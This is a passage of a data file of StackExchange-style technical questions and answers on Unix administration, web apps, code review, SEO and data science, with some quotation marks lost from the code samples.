Introduction to Psychoanalytic Theory. London: Palgrave.Gabbard, Glen O. (2009) Textbook of Psychotherapeutic Treatments. American Psychiatric Publishing. (Ch. 1: Theoretical Models of Psychodynamic Psychotherapy)Kernberg, Otto F. (2001). Recent Developments in the Technical Approaches of English-Language Psychoanalytic Schools. The Psychoanalytic Quarterly, Volume LXX, Issue 3, 519547.Thompson, Clara Mabel (1957). The different schools of psychoanalysis. American Journal of Nursing, 57, 13041307.Thompson, Clara Mabel & Mullahy, Patrick (1951). Psychoanalysis: Evolution and Development (3rd ed.). New York: Hermitage House."  } 
{  "id": "_softwareengineering.11334"  , "question": "Does your company have a written policy about contributing to open-source projects? We've been contributing don't ask don't tell style, but it's time to write something down. I'd appreciate both full written policy text and bits and pieces.Update: we've made some progress since I asked this question and now have such a policy - read this."  , "title": "Does your company have a written policy about contributing to open-source projects?"  , "tags": "open source;contribution"  } 
{  "id": "_unix.144089"  , "question": "I have a couple of nodes ( which are not mine ) running one openvz kernel version -2.6.32-042stab092.2specifications :processor model name : E5-2620 0 @ 2.00GHzNumber of Processors : 24RAM : 48Gnumber of VPSs hosted on each : 23 each vps is assigned 1000 unit of cpu and a cpu limit of 400each vps is assigned 1G of memoryafter some researching i have found that running on el6 kernel that means that each vps can take up to 1000/400 each cpu running intensive processes .. which means a total of 25% if the vps is running on maximum processing , am i right ?now i face a problem with high load , some of the vbs are running forums with plugins enabled and intensive mysql access .problem is whenever a VPS is causing a high load the whole node is also affected by it and the load average raise , which causes other VPSs problems .. slow them downwhy is this happening ? apart from resource management inside the vps it self , how do i prevent one vps causing load to not slow down the whole node and raising it's load average ?Thank you for your time"  , "title": "Openvz resource management"  , "tags": "openvz;resources;load average"  } 
{  "id": "_unix.121318"  , "question": "I'm preparing CentOS 6.5 x86_64 system with following mount points/usr/local  10 GB or more ***/var        10 GB or more ***/root       200 MB or more ***/tmp        200 MB or more ***The mount points are created successfully but the system does not allow me to complete installation and issues an error:this mount point is invalid. The /root directory must be on / file systemKindly help in this regard.Regards,Asim"  , "title": "this mount point is invalid. The /root directory must be on / file system"  , "tags": "linux;partition;centos"  , "accepted_answer": "The current version of the Anaconda installer in the Centos 6.5 repository is 13.21.215-1.By checking out that source code, we can see that the installer has sanity checks for the storage configuration (starting at 1008 of storage/__init__.py).Part of those sanity checks assert that the following directories must be on the root filesystem and thus cannot be on separate mountpointsmustbeonroot = ['/bin','/dev','/sbin','/etc','/lib','/root', '/mnt', 'lost+found', '/proc']If you remove the separate mount you have created for /root (perhaps allocate the space to your / pointpoint if possible), the installer will likely allow you to continue."  } 
{  "id": "_webapps.103651"  , "question": "I'm trying to see forms that I am currently submitting in CommCare via live preview and mobile device. I have the date filter on the Submit History report to today. Is there a reason my forms might not be showing up?"  , "title": "Missing forms from Submit History report in CommCare when the filter is set to today"  , "tags": "commcare"  , "accepted_answer": "The today date filter for this report on CommCare defaults to Eastern Standard Time. Therefore if you are in a time zone that puts you in a different day than the eastern coast of the United States, the default filter of today won't show your form submissions. For instance, if you are submitting forms at 7am in Cape Town and looking for them to show up in your Submit History report filtered to today, you won't see those submissions because the filter for today is technically referring to yesterday for your timezone. "  } 
{  "id": "_webmaster.63263"  , "question": "I always make a footer and a header and include them in my php pages but I am not sure the impact of doing this for SEO.The header has only a main banner and the navigation menu, all the metatags including page description are unique to each page.So if I made just one header file and one footer file to php include on all pages , does it affect SEO?"  , "title": "SEO impact when using php include"  , "tags": "seo;php"  , "accepted_answer": "No, this will not affect you. PHP is processed on the server side and then it sends out HTML to the user agent. In this case the user agent is Google. So all Google sees is the HTML of your pages. It doesn't know nor care how you generate your pages."  } 
{  "id": "_unix.284961"  , "question": "If I print a png file to a cups-pdf printer, using lp, the pic is adjusted to the page size (i'm assuming), even though fitplot is false.lp ~/Pictures/tux-db.pngHere is output of lpoptions:copies=1 device-uri=cups-pdf:/ finishings=3 fitplot=false job-hold-until=no-hold job-priority=50 job-sheets=none,none marker-change-time=0 mirror=false number-up=1 orientation-requested=3 ppd-timestamp=* printer-commands=AutoConfigure,Clean,PrintSelfTestPage printer-info=PDF printer-is-accepting-jobs=true printer-is-colormanaged=true printer-make-and-model='Generic CUPS-PDF Printer' printer-state=3 printer-state-change-time=1464004024 printer-state-reasons=none printer-type=8450124 printer-uri-supported=ipp://localhost:631/printers/PDF scaling=100The generated pdf is here.If I open the png file with Image Viewer, and print it, I get a correct size pdf (small picture), so the printer is capable of printing the correct size. Pdf file here.What is the right option to use?Using ubuntu 14.04.Just to clear, the final goal is to use cups API in my own sw, with the correct option, so I can print images without rescaling (to avoid resizing small images to large sizes)."  , "title": "Print image to cups-pdf without rescaling"  , "tags": "printing;cups"  , "accepted_answer": "It turns out that the answer is the scaling parameter. I thought the parameter was relative to the image, but turns out it is relative to the page.So setting scaling=0 will print the image on its native size. It is possible to also manipulate it using the ppi (pixel per inch), and the natural-scaling parameter. More info here."  } 
{  "id": "_unix.237090"  , "question": "lrwxrwxrwx. 1 tomcat tomcat    27 Oct 17 00:23 workThis is my file(link) I want to go inside a directory within it to rm a file and then copy the new one. But it says permission denied and does not show any link. How can I do what I want."  , "title": "file with permission lrwxrwxrwx does not show any link on ls -l command"  , "tags": "files;permissions;symlink"  } 
{  "id": "_unix.11217"  , "question": "So, basicallyTHIS LINE WOULD BE DELETEDand(THIS LINE WOULD ALSO BE DELETED)butIndeed, THIS LINE WOULD NOT"  , "title": "sed one-liner to delete any line that does not contain lowercase letters"  , "tags": "sed;awk"  , "accepted_answer": "Quite a few ways.  Think negatively:sed '/[a-z]/!d'    # !x runs x if the pattern doesn't matchgrep -v '[a-z]'    # -v means print if the regexp doesn't matchawk '!/[a-z]/'     # !expr negates expr"  } 
{  "id": "_unix.31254"  , "question": "I want to download the contents of this page for study purposes. How can I download only this directory?"  , "title": "How to download an entire directory from a webserver?"  , "tags": "web;download"  , "accepted_answer": "This should work:wget -r --no-parent --reject index.html* http://lxr.post-tech.com/source/?v=iphone-u-boot-2010-0512"  } 
{  "id": "_softwareengineering.351060"  , "question": "If you look at the source code of a website such as Facebook, you'll see many classes as such:<div class=_cy6 _2s24><div class=_4kny><div class=uiToggle _8-a _1kj2 _4d1i _-57 _5-sk id=u_0_8><a data-hover=tooltip data-tooltip-content=Quick Help data-onclick=[[&quot;HelpLiteFlyoutBootloader&quot;,&quot;loadFlyout&quot;]] class=_59fc href=# rel=toggle role=button data-tooltip-delay=500 aria-haspopup=true aria-controls=u_0_7 aria-label=Help Center data-testid=contextual_help_jewel_button><div class=_59fb _tmz></div></a><div id=u_0_7 class=__tw _8-b _tdb toggleTargetClosed uiToggleFlyout><div class=beeperNub></div><div id=fbHelpLiteFlyout><div id=fbHelpLiteFlyoutLoading class=_5uco><img class=_26y2 img src=https://www.facebook.com/rsrc.php/v3/yb/r/GsNJNwuI-UM.gif alt= width=16 height=11 /></div></div>To the naked eye, they appear to be gibberishly named classes. However, I am unsure as to why they are obfuscated. I don't see a class named something as post with any meaningful classes on child elements. Is there a reason for this practice? I see many large websites such as Facebook conducting this pattern, and am unsure if there is a reason."  , "title": "Why does Facebook obfuscate the names of CSS classes?"  , "tags": "javascript;programming practices;web applications;css;patterns and practices"  , "accepted_answer": "It's called minification. It makes the CSS files (and potentially Javascript files too) smaller, requiring less bandwidth to download.  This can make a significant difference in performance, especially for wireless devices. "  } 
{  "id": "_webapps.41894"  , "question": "Since I cannot restrict the Empty Trash option in Google Drive for my Google Apps users would creating one account that is only used to setup as shared folders in drive work? Can I then give all users an edit option to prevent them from accidentally or maliciously deleting files? This account would always have the file in its trash, correct?  Is there any other way?"  , "title": "Google Drive only apps account prevents emptying the trash"  , "tags": "google drive"  } 
{  "id": "_codereview.19141"  , "question": "I have 3 nested NSEnumeration loops, which are used to get the textfields of a custom cell, in a custom table in a custom view in a controller.How can I make this code more readable and more optimizated?- (void) textfieldsOperations:(APOperation)op{  __block int Valid = 0;  __block NSArray *sub = _Table.subviews;  __block MyCell *cell = nil;  __block UIView *view = nil;  __block NSMutableArray *ret = [NSMutableArray arrayWithCapacity:5];  [sub enumerateObjectsUsingBlock:^(id c, NSUInteger index, BOOL *stop)  {    if ( [c isKindOfClass:[MyCell class]] ) {      cell = c;      [cell.subviews enumerateObjectsUsingBlock:^(id v, NSUInteger index, BOOL *stop)      {        if ( [v isKindOfClass:[UIView class]] ) {          view = v;          [view.subviews enumerateObjectsUsingBlock:^(id t, NSUInteger index, BOOL *stop)          {            if ( [t isKindOfClass:[MyTextField class]] )            {              MyTextField *txt = t;              switch ( op )              {                case APOperationClear:                  // something with txt                  break;                case APOperationEnableSearch:                  // something with valid                  break;                case APOperationGetText:                  // something with txt                  break;                case APOperationPos: {                  // something with txt                  break;                }              }            }          }];        }      }];    }  }];  //[...]      }"  , "title": "Optimize nested enumerate blocks?"  , "tags": "performance;array;objective c"  } 
{  "id": "_codereview.27421"  , "question": "Is this a good implementation for Equals and GetHashCode for a base class in C#? If it's not good enough, can you suggest improvements for it, please?public abstract class Entity<TKey>    //TKey = Type of the Key{    private string FullClassName;    private bool KeyIsNullable;    private Type BaseClassType;    private bool KeyIsComplex;    public abstract TKey Key { get; }    //Key of the object, which determine it's uniqueness    public Entity()    {        FullClassName = GetType().FullName + #;        KeyIsNullable = typeof(TKey).IsAssignableFrom(typeof(Nullable));        BaseClassType = typeof(Entity<TKey>);        KeyIsComplex= !typeof(TKey).IsPrimitive;    }    public override bool Equals(object obj)    {        bool result = BaseClassType.IsAssignableFrom(obj.GetType());        result            = result                && (                        (                            (                                !KeyIsNullable                                ||                                (Key != null && ((Entity<TKey>)obj).Key != null                            )                        )                        &&                        Key.Equals(((Entity<TKey>)obj).Key )                    )    // The key is not nullable, or (it's nullable but) both aren't null, and also equal                    ||                    (                        KeyIsNullable                        &&                        Key == null                        &&                        ((Entity<TKey>)obj).Key == null                    )                ); // Or the key is nullable, and both are null        return result;    }    public override int GetHashCode()    {        if ((KeyIsNullable&& Key == null) || (!KeyIsNullable&& Key .Equals(default(TKey))))        {            return base.GetHashCode();        }        string stringRepresentation = FullClassName + ((KeyIsComplex)? Key.GetHashCode().ToString() : Key.ToString());        return stringRepresentation.GetHashCode();    }}Example of a derived class:public class Foo : Entity<int>{    public virtual int FooId { set; get; }    public virtual string FooDescription { set; get; }    public override int Key { get { return FooId; } }}Specific and special details to the proposal:Any instance of a derived class is considered equal to a instance of the base class if they have the same key.The key could be null.If the key of the current class and the key of the comparing object are both null, the two objects are considered equal. This is because I am planning to handle just one new object at a time, and if the key is nullable, it will be null for the new object. So if I have two instances with a null key, I will consider them as the same entity."  , "title": "Implementation of Equals and GetHashCode for base class"  , "tags": "c#;inheritance;null"  , "accepted_answer": "//TKey = Type of the Key//Key of the object, which determine it's uniquenessIf you're going to use comments like these, it's useful to use XML documentation comments instead, so that you can see them in IntelliSense.Also, you should try to keep your comments grammatically correct, though I understand that's not always easy, especially if you're not a native speaker.public Entity(){    FullClassName = GetType().FullName + #;    KeyIsNullable = typeof(TKey).IsAssignableFrom(typeof(Nullable));    BaseClassType = typeof(Entity<TKey>);    KeyIsComplex = !typeof(TKey).IsPrimitive;}I think it doesn't make much sense to store these in each instance. If your profiling shows that retrieving these values on each call slows down your code, store at least the last three values in static fields (you could initialize them from a static constructor).Also, KeyIsNullable will be always false, because Nullable is a static class that's distinct from Nullable<T>. (But it doesn't matter anyway, see below.)bool result = BaseClassType.IsAssignableFrom(obj.GetType());According to ReSharper, you could instead use BaseClassType.IsInstanceOfType(obj). (I had no idea such method existed.)But this check means that for example two different types deriving from Entity<int> with the same key will compare as equal. I don't think that's what you want, you should compare the type against GetType() and you should make sure that the types are exactly equal. This is especially true since in such case, the two objects will compare as equal, but will have different hash codes, which makes your code wrong.Also, your code will throw an exception when obj is null, you should add a check against that.result    = result        && ( This monstrous expression doesn't make much sense to me (and that's not just because it's hard to understand). For nullable value types, Equals() works fine, you don't need all this gymnastics.if ((KeyIsNullable&& Key == null) || (!KeyIsNullable&& Key .Equals(default(TKey)))){    return base.GetHashCode();}This code indicates that if the Key has its default value, you want to use reference equality. But there is no indication of that in your Equals(). You have to decide what exactly does equal mean for your type and keep that definition consistent across Equals() and GetHashCode().Also, again, you don't need special code for nullable value types.string stringRepresentation = FullClassName + ((KeyIsComplex)? Key.GetHashCode().ToString() : Key.ToString());return stringRepresentation.GetHashCode();I haven't seen hash code include the type before. It could make sense if you're using hash-based collections that can contain different types with the same key values, though doing that is not very common, I think.Though if you want to do that, I would use the hash code of GetType() instead of dealing with type name.Also, there is no reason to use strings here, simply combining the hash codes (e.g. using XOR) is enough.With all these changes, your code will look like this:/// <typeparam name=TKey>Type of the Key</typeparam>public abstract class Entity<TKey>{    /// <summary>    /// Key of the object, which determines its uniqueness    /// </summary>    public abstract TKey Key { get; }    public override bool Equals(object obj)    {        if (obj == null)            return false;        if (obj.GetType() != GetType())            return false;        bool sameKey = Key.Equals(((Entity<TKey>)obj).Key);        if (sameKey && Key.Equals(default(TKey)))            return ReferenceEquals(this, obj);        return sameKey;    }    public override int GetHashCode()    {        if (Key.Equals(default(TKey)))            return base.GetHashCode();        return GetType().GetHashCode() ^ Key.GetHashCode();    }}"  } 
{  "id": "_webapps.50990"  , "question": "When I open draw.io, it does not connect to my Google Drive, and when I click on the button Connect to Google Drive, a pop-up window appears for a fraction of a second and then disappears.The result is that I cannot access all my drawings.I have tried with both Firefox and Windows IE, and experienced the same thing in both. I then logged-in to Google Drive and tried to open one of my drawings with draw.io, but it does not work (stuck loading)Is this a wider issue than just with my account?"  , "title": "Connecting to Google Drive using Draw.io"  , "tags": "google drive;draw.io"  } 
{  "id": "_unix.15153"  , "question": "Are there any solutions similar to AIX smit for Linux based OSes?Basically this would be some kind of 'terminal menu-driver' script collection perhaps using ncurses for doing things that system administrators regurarly do."  , "title": "Smitty like solution under Linux or BSD?"  , "tags": "linux;software rec;administration"  , "accepted_answer": "This would be a per-distro thing. For example, Debian used to have lots of ncurses based wizards for various administration tasks particularly setting up new software. I'm not sure how  much they do that any more.However in general this does not fit the linux model of development where all the software pieces are developed independently. Any central admin interface would require constantly keeping in sync with the options being developed on all possible related software projects. In the AIX, Unix or even BSD worlds much more of the system software is developed together as part of the main distro project. this makes writing central administration systems make more sense. In the Linux world any attempt to do so is far more likely to break things than fix them. It's generally better to administer each piece of software in the way that software was designed to be used."  } 
{  "id": "_datascience.9195"  , "question": "Are there any papers published which show differences of the regularization methods for neural networks, preferably on different domains (or at least different datasets)?I am asking because I currently have the feeling that most people seem to use only dropout for regularization in computer vision. I would like to check if there would be a reason (not) to use different ways of regularization."  , "title": "Are there studies which examine dropout vs other regularizations?"  , "tags": "neural network;computer vision;convnet;regularization;dropout"  } 
{  "id": "_webapps.73803"  , "question": "Named ranges are duplicated when their sheet is duplicated. However, protected ranges are not.I have 40 protected ranges on a sheet that I need to replicate 6 times, so I'm not really looking forward to defining 240 ranges. Is there a way to keep the protected ranges when you replicate a sheet, or otherwise import them to the replicated sheet?"  , "title": "How to copy permissions across sheets?"  , "tags": "google spreadsheets"  } 
{  "id": "_webmaster.5577"  , "question": "If I override default link href with onclick and ajax, for example link <a href=/mypage>, so onclick I load mypage through ajax, if javascript is disabled, or its a text browser or bot, I let go to /mypage, is this good enough for SEO as having regulat /mypage link with no javascript and ajax?What I want is to have same content as without ajax, but to load it via ajax for better user expirience. Wonder if that can be achieved with same SEO effect?I assume for google bot it will be the same, but this page /mypage will not appear in analytics, no referers...maybe that is the weakness of this approach?"  , "title": "Overriding link action with ajax - SEO"  , "tags": "javascript;ajax;seo;hyperlink;page"  } 
{  "id": "_webmaster.35426"  , "question": "I've got my URL however some of the strings would contain &.  Obviously I can't use them as best practice so I've replaced them with +.However if I encoded my & instead it would become %26. How would a search engine see that?  Would it see  %26 as a & so still bring back the URL or would it just see it as a %26? ie.Would www.example.com/sweet?m&m show as that, or would they see it as www.example.com/sweet?m%26m"  , "title": "How would a search engine see url encoded characters?"  , "tags": "seo;google;search engines"  } 
{  "id": "_unix.11451"  , "question": "I'm using Debian Mint and my internet has worked everywhere on earth (Home, Mcdonalds, other peoples homes) except at school where I really need it.  It will always see the networks and will 'try' to connect but will never be able to do so.Occasionally it will work if I reboot, and disconnect networking, and reconnect, but only occasionally. It works perfectly if I dual boot to Windows so it's kinda frustrating.Power management is off, and Tx power is at 15db."  , "title": "Cannot connect to wireless at School"  , "tags": "wifi;linux mint;networking"  } 
{  "id": "_codereview.46492"  , "question": "I was eventually going to add another computer and more options to this (i.e., Rock-paper-scissors-lizard-Spock) but I wanted to make sure I was using the best practice for this type of game. Any help would be appreciated. # The traditional paper scissors rock gameimport osdef clear():    os.system(clear)clear()print (\\n\\nPaper, Rock, Scissors Game -(Best of five games))x = 0 ;  l = 0 ;  w = 0 ; d = 0 ; lt = 0 ; wt = 0 ; dt = 0while x < 5:  x = x + 1  import random  class Computer:         pass  comp_is = Computer()  comp_is.opt = ('r','p','s')  comp_is.rand = random.choice(comp_is.opt)  if comp_is.rand == 'r':            comp  = 'rock'  elif comp_is.rand == 'p':            comp  = 'paper'  else:        comp  = 'scissors'  class Human:       pass  human_is = Human  print  human_is.player = raw_input(' Enter your choice of\\n   r\\ for rock\\n   p for paper or\\n   s for scissors ... ')  print  class Result:     pass  Result_is = Result  if comp_is.rand == human_is.player:    print (draw - computer chose ,  comp)    print    d = d + 1    dt = dt + 1  elif comp_is.rand == 'r' and human_is.player == 'p':      print (  player beats computer -computer chose ,  comp)      print      w = w + 1      wt = wt + 1  elif comp_is.rand == 'p' and human_is.player == 's':      print (  computer chose ,  comp)      print (  player beats computer-because scissors cuts paper)      print ()      w = w + 1      wt = wt + 1  elif comp_is.rand == 's' and human_is.player == 'r':     print ( computer chose , comp)      print ( player beats computer-because rock breaks scissors)     w = w + 1     wt = wt + 1  else :     print (   computer wins - computer chose  , comp)     print     l = l + 1     lt = lt + 1  if x == 5:    print ()    print ()       print (  games  won ... ,  w)    print (  games lost ... ,  l)    print (  games drawn ... ,  d)    print ()    print (  Running total overall of games won ... , wt)    print (  Running total overall of games lost ... , lt)    print (  Running total overall of games drawn ... , dt)    print ()    w = 0 ; l = 0 ; d = 0    again = input('Do you want to play again y for yes, n for no ..  ')    if again == 'y':       x = 0    else:      print       if lt > wt:         print (You are a miserable loser,\\nYou have lost more than you have won,\\nPoor show indeed )         print ('finish')"  , "title": "Rock, Paper, Scissors in Python"  , "tags": "python;beginner;game;rock paper scissors"  , "accepted_answer": "There is much to improve. I recommend you read PEP 8, the official Python style guide. It includes many important tips like:Use consistent 4-space indentationMultiple statements on the same line are discouragedFurthermore:You should use words instead of single letters for your variable names. All those variables like x, l, w, d, lt, wt, dt aren't self-explaining. What is their purpose? Instead: count_rounds, count_losses, count_wins, count_draws, .Your usage of object oriented features is extremely weird. Get rid of all classes for now.Instead of x = x + 1 write x += 1.Your code is really complicated because it munges together the user interface (prompting the user for choices, displaying results) with the actual logic of your program. Put the logic into separate functions, e.g.def beats(choice_a, choice_b):    if choice_a == 'rock' and choice_b == 'scissors':        return 'smashes'    if choice_a == 'scissors' and choice_b == 'paper':        return 'cuts'    if choice_a == 'paper' and choice_b == 'rock':        return 'wraps'    else:        return NoneThis could be used asdef result_string(computer, player):    verb = beats(computer, player)    if verb:        return computer beats player because %s %s %s % (computer, verb, player)    verb = beats(player, computer)    if verb:        return player beats computer because %s %s %s % (player, verb, computer)    return drawwhich in turn could be used as print(result_string(computer_choice, player_choice)).Please try to fix these issues and to clean up your code, then come back and ask a new question for a second round of review."  } 
{  "id": "_cogsci.15274"  , "question": "Different areas of the inner ear (the cochlea) are sensitive to different acoustic frequencies. Hence, the cochlea basically performs a fast Fourier transform on the audio signal. This spectral information is subsequently sent to the auditory cortex. But how does the cochlea encodes the intensity of an acoustic stimulus?"  , "title": "How does the inner ear encode sound intensity?"  , "tags": "neurobiology;perception;sensation;neurophysiology;hearing"  } 
{  "id": "_codereview.114374"  , "question": "I have a code here that counts the number of fruits from Column B to Column AF (31 days).I used a switch with cases from 1 to 31. I'd like my code to be simpler. 31 case statements is just too long.  private void button1_Click(object sender, EventArgs e)    {        Microsoft.Office.Interop.Excel.Application OfficeExcel;        Microsoft.Office.Interop.Excel._Workbook OfficeWorkBook;        Microsoft.Office.Interop.Excel._Worksheet OfficeSheet;        var dtpMonth = dateTimePicker1.Value.ToString(MMMM);        var dtpYear = dateTimePicker1.Value.Year;        var MonthYear = dtpMonth +  -  + dtpYear;        var dtpDay = dateTimePicker1.Value.Day;        try        {            OfficeExcel = new Microsoft.Office.Interop.Excel.Application();            OfficeExcel.Visible = true;            int appletotal = Convert.ToInt32(lblappletotal.Text);            int bananatotal = Convert.ToInt32(lblbananatotal.Text);            int orangetotal = Convert.ToInt32(lblorangetotal.Text);            int grapestotal = Convert.ToInt32(lblgrapestotal.Text);            switch (dateTimePicker1.Value.Day.ToString())            {                 case 1:                     OfficeWorkBook = (Microsoft.Office.Interop.Excel._Workbook)(OfficeExcel.Workbooks.Add());                     OfficeSheet = (Microsoft.Office.Interop.Excel._Worksheet)OfficeWorkBook.ActiveSheet;                    OfficeSheet.Cells[3,1] = apple;                    OfficeSheet.Cells[4,1] = banana;                    OfficeSheet.Cells[5,1] = orange;                    OfficeSheet.Cells[6,1] = grapes;                    OfficeSheet.Cells[2, 2] = dtpDay + dtpMonth ;                    OfficeSheet.Cells[3, 2] = appletotal; // variable                    OfficeSheet.Cells[4, 2] = bananatotal;                    OfficeSheet.Cells[5, 2] = orangetotal;                    OfficeSheet.Cells[6, 2] = grapestotal;                    OfficeExcel.Visible = true;                    OfficeWorkBook.SaveAs(D:\\\\fruits\\\\ + MonthYear + .xls, Microsoft.Office.Interop.Excel.XlFileFormat.xlExcel7, Type.Missing, Type.Missing,                                    false, false, Microsoft.Office.Interop.Excel.XlSaveAsAccessMode.xlNoChange,                                    Type.Missing, Type.Missing, Type.Missing, Type.Missing, Type.Missing);                     break;                case 2:                    OfficeWorkBook = OfficeExcel.Workbooks.Open(D:\\\\fruits\\\\ + MonthYear + .xls);                    OfficeSheet = (Excel.Worksheet)OfficeWorkBook.Worksheets.get_Item(1);                    OfficeSheet.Cells[2, 3] = dtpDay + dtpMonth;                    OfficeSheet.Cells[3, 3] = appletotal;                    OfficeSheet.Cells[4, 3] = bananatotal;                    OfficeSheet.Cells[5, 3] = orangetotal;                    OfficeSheet.Cells[6, 3] = grapestotal;                    OfficeExcel.Visible = true;                    OfficeWorkBook.Save();                    case 3:                    OfficeWorkBook = OfficeExcel.Workbooks.Open(D:\\\\fruits\\\\ + MonthYear + .xls);                    OfficeSheet = (Excel.Worksheet)OfficeWorkBook.Worksheets.get_Item(1);                    OfficeSheet.Cells[2, 4] = dtpDay + dtpMonth;                    OfficeSheet.Cells[3, 4] = appletotal;                    OfficeSheet.Cells[4, 4] = bananatotal;                    OfficeSheet.Cells[5, 4] = orangetotal;                    OfficeSheet.Cells[6, 4] = grapestotal;                    OfficeExcel.Visible = true;                    OfficeWorkBook.Save();                    break;                case 4:                    OfficeWorkBook = OfficeExcel.Workbooks.Open(D:\\\\fruits\\\\ + MonthYear + .xls);                    OfficeSheet = (Excel.Worksheet)OfficeWorkBook.Worksheets.get_Item(1);                    OfficeSheet.Cells[2, 5] = dtpDay + dtpMonth;                    OfficeSheet.Cells[3, 5] = appletotal;                    OfficeSheet.Cells[4, 5] = bananatotal;                    OfficeSheet.Cells[5, 5] = orangetotal;                    OfficeSheet.Cells[6, 5] = grapestotal;                    OfficeExcel.Visible = true;                    OfficeWorkBook.Save();                    break;                    .                    .                    .                    so On.....    }"  , "title": "short or simple solution for putting values from label to column in excel"  , "tags": "c#;excel;winforms"  } 
{  "id": "_softwareengineering.43347"  , "question": "I have a class that will read from Excel (C# and .Net 4) and in that class I have a background worker that will load the data from Excel while the UI can remain responsive. My question is as follows: Is it bad design to have a background worker in a class? Should I create my class without it and use a background worker to operate on that class? I can't see any issues really of creating my class this way but then again I am a newbie so I figured I would make sure before I continue on.I hope that this question is relevant here as I don't think it should be on stackoverflow as my code works, this just a design issue."  , "title": "Is It Wrong/Bad Design To Put A Thread/Background Worker In A Class?"  , "tags": "c#;design;multithreading;class design"  , "accepted_answer": "Should I create my class without it  and use a background worker to operate  on that class?Yes, you should. And I will tell you why - you are violating the Single Responsibility Principle. By tightly coupling the class that accesses the excel doc with how it accesses the excel doc, you eliminate the ability for the controller code (any code that uses this) to do it a different way. How different, you may ask? What if the controller code has two operations that take a long time but wants them to be sequential? If you allowed the controller the ability to handle the threading, it can do both long-running tasks together in one thread. What if you want to access the excel doc from a non-UI context and don't need it to be threaded? By moving the responsibility of threading out to the caller, you allow more flexibility of your code, making it more reusable."  } 
{  "id": "_unix.307875"  , "question": "There are about 10000 files under a given directory. Are there any command that can help me randomly pick 1000 files from it and put them into another directory. The picked files should be removed from the original directory."  , "title": "Randomly select a proportion of files from a given directory"  , "tags": "linux;command line;files;mv"  , "accepted_answer": "If you have shuf, it will easily let you do what you want, provided that no filename has a newline character in it, and there are no subdirectories:mapfile -t sample < <(shuf -n 1000 -e given_directory/*)mv ${sample[@]} other_directoryIf there are subdirectories, you could get the list of files by using find instead of the glob. Or you could oversample and filter. find will also help you deal with files which could have newlines in their names (which is really a bad idea, but that doesn't necessarily mean that you can ignore the possibility), since you can use the -print0 action combined with the -z flag to shuf. For example,find given_directory -type f -print0 |shuf -z -n 1000 |xargs -0 mv -t other_directorymv -t is a (very useful) Gnu extension which lets you provide the destination directory at the beginning of the command line, which works nicely with the xargs/find -exec model of putting multiple arguments at the end of the command line."  } 
{  "id": "_unix.350659"  , "question": "I would like to know why 6 is the number/code/signal associated with the reboot command in init 6. I mean the history/stories/legend reasons, not in a technical way... If it was a list related reason or maybe a graphic thing about recursivity/circle-ouroboros/101 alike number. I'm starting reading Design of the UNIX Operating System by Maurice Bach, but didn't find yet a reason or idea."  , "title": "Why is 'init 6' the reboot command? (historic reasons)"  , "tags": "signals;history;init;documentation"  } 
{  "id": "_datascience.15526"  , "question": "if I have a training data set and I'll train a Naive Bayes Classifier on it and I got an attribute value which has the probability zero. How to handle this if I later want to predict the classification on new data. The problem is, if there is a zero in the calculation the whole product becomes zero, no matter how many other values I got which maybe would find another solution.Example:$P(x|spam=yes) = P(TimeZone = US | spam=yes) \\cdot P(GeoLocation  = EU | spam = yes)  \\cdot  ~ ... ~  = 0,004 $$P(x|spam=no) = P(TimeZone = US | spam=no) \\cdot P(GeoLocation  = EU | spam = no)  \\cdot  ~ ... ~  = 0 $ The whole product becomes $0$ because in the training data the attribute TimeZone US is always Yes in our small trainings data set. How can I handle this? Should I use a bigger set of training data or is there another possibility to overcome this problem?"  , "title": "How to handle a zero factor in Naive Bayes Classifier calculation?"  , "tags": "classification;naive bayes classifier"  , "accepted_answer": "An approach to overcome this 'zero frequency problem' in a Bayesian setting is to add one to the count for every attribute value-class combination when an attribute value doesnt occur with every class value. So, for example, say your training data looked like this:$$\\begin{array}{c|c|c|}  & \\text{Spam} = yes & \\text{Spam} = no \\\\ \\hline\\text{TimeZone} = US & 10 & 5 \\\\ \\hline\\text{TimeZone} = EU & 0 & 0 \\\\ \\hline\\end{array}$$$ P(\\text{TimeZone} = US | \\text{Spam} = yes) = \\frac{10}{10} = 1$$P(\\text{TimeZone} = EU | \\text{Spam} = yes) = \\frac{0}{10} = 0$Then you should add one to every value in this table when you're using it to calculate probabilities:$$\\begin{array}{c|c|c|}  & \\text{Spam} = yes & \\text{Spam} = no \\\\ \\hline\\text{TimeZone} = US & 11 & 6 \\\\ \\hline\\text{TimeZone} = EU & 1 & 1 \\\\ \\hline\\end{array}$$$ P(\\text{TimeZone} = US | \\text{Spam} = yes) = \\frac{11}{12}$$P(\\text{TimeZone} = EU | \\text{Spam} = yes) = \\frac{1}{12}$"  } 
{  "id": "_softwareengineering.246225"  , "question": "Having a larger WinForms application with several classes I currently pass references to several central objects around to function calls.This leads to more method parameters.Example:public static class Program{    private static MyCentral _central;    ...}...public class SomeController{    public object SomeFunction(MyCentral central)     {        // Do something with the MyCentral instance.    }}Now I'm asking myself whether I should ditch this approach and instead use singletons for those central objects so that everyone can always access these objects and I do not need to pass them around anymore.Example:public static class Program{    public static MyCentral Central { get; private set; }    ...}...public class SomeController{    public object SomeFunction()     {        // Do something with the Program.Central singleton.    }}My question:Are there any rules-of-thumb whether the singleton approach or the passing objects around approach should be prefered?"  , "title": "Passing central objects around or having global instances?"  , "tags": "design;class design;singleton"  , "accepted_answer": "The rule of thumb is: Always pass around, never use the traditional singleton pattern approach.The problem kind of solves itself if you use a dependency injection framework.Using public statics will make testing harder, strongly couple your components, and make dependencies between your classes harder to see."  } 
{  "id": "_unix.178811"  , "question": "I recently migrated a RAID1 from a CentOS 5 system to a CentOS 6 system and ever since when I attempt to perform a check I get the following:$ echo 'check' > /sys/block/md127/md/sync_action-bash: /sys/block/md127/md/sync_action: Read-only file systemThis actually shows up from a CRON too, specifically, /etc/cron.d/raid-check. this is included in the mdadm RPM:$ rpm -ql mdadm | head -5/etc/cron.d/raid-check/etc/rc.d/init.d/mdmonitor/etc/sysconfig/raid-check/lib/udev/rules.d/63-md-raid-arrays.rules/lib/udev/rules.d/65-md-incremental.rulesHere I'm running the same command that's used by the CRON:$ raid-check/usr/sbin/raid-check: line 96: /sys/block/md127/md/sync_action: Read-only file systemThis typically runs once a week and sends an email which is what originally alerted me to the issue. But at any rate I'm at a loss why this RAID seems to be unable to be checked.The RAID seems fine on inspection though.$ cat /proc/mdstat Personalities : [raid1] md127 : active raid1 sda1[0] sdb1[1]      976759936 blocks [2/2] [UU]unused devices: <none>I point this out only because while googling I found this thread regarding a bug in mdadm but this was for a older version of mdadm.Debian Bug report logs - #380746checkarray: E: /sys/block/md_d1/md/sync_action not 